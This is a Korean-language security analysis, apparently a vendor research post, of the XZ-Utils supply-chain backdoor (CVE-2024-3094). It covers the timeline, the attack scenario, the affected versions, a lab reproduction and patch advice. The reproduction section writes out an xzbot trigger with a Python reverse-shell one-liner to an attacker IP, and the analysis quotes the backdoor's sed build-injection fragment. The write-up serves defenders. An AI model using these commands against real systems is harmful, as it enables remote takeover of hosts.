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Research & Technique 
    

 

XZ-Utils 백도어 악성코드 분석(CVE-2024-3094) 

 

■ 취약점 개요 

 

 

 

  

https://www.openwall.com/lists/oss-security/2024/03/29/4
https://github.com/tukaani-project/xz
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■ 공격 타임라인 
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■ 공격 시나리오 

 

① 공격자는 공급망 공격에 취약한 오픈소스 프로젝트를 탐색 

② 공격자는 오픈소스 프로젝트 소프트웨어 소스코드에 백도어를 설치 

③ 피해자는 백도어가 설치된 소프트웨어를 다운로드 받아 공격에 노출 

④ 공격자는 백도어를 트리거해 원격에서 사용자 PC에 랜섬웨어 및 악성코드를 배포 
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■ 영향받는 소프트웨어 버전 

S/W 구분 취약 버전 

XZ-Utils 5.6.0, 5.6.1 

 

■ 테스트 환경 구성 정보 

이름 정보 

피해자 

Ubuntu 22.04 

XZ-Utils 5.6.1 

(192.168.102.74) 

공격자 
Kali Linux 

(192.168.219.129) 
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■ 취약점 테스트 

$ python3 patch.py src/liblzma/.libs/liblzma.so.5.6.1 

$ ./main -addr 192.168.102.74 -cmd ` python -c 'import 

socket,subprocess,o;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.216.29",7777));os.du

p2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subproces.call(["/bin/sh","-i"]);'` 

 

 

 

 

https://salsa.debian.org/debian/xz-utils/-/tree/46cb28adbbfb8f50a10704c1b86f107d077878e6
https://github.com/amlweems/xzbot
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■ 취약점 상세 분석 
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sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()" 

src/liblzma/check/crc64_fast.c | \ 

sed "/include \"crc64_arm64.h\"/a \\$V" | \ 

sed "1i # 0 \"src/liblzma/check/crc32_fast.c\"" 2>/dev/null 
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■ 대응 방안  

which xz 

xz --version 

 

 

 

소프트웨어 패치 권장 버전 

XZ-utils 5.4.6 

 

  

https://tukaani.org/xz-backdoor/
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■ 참고 사이트  




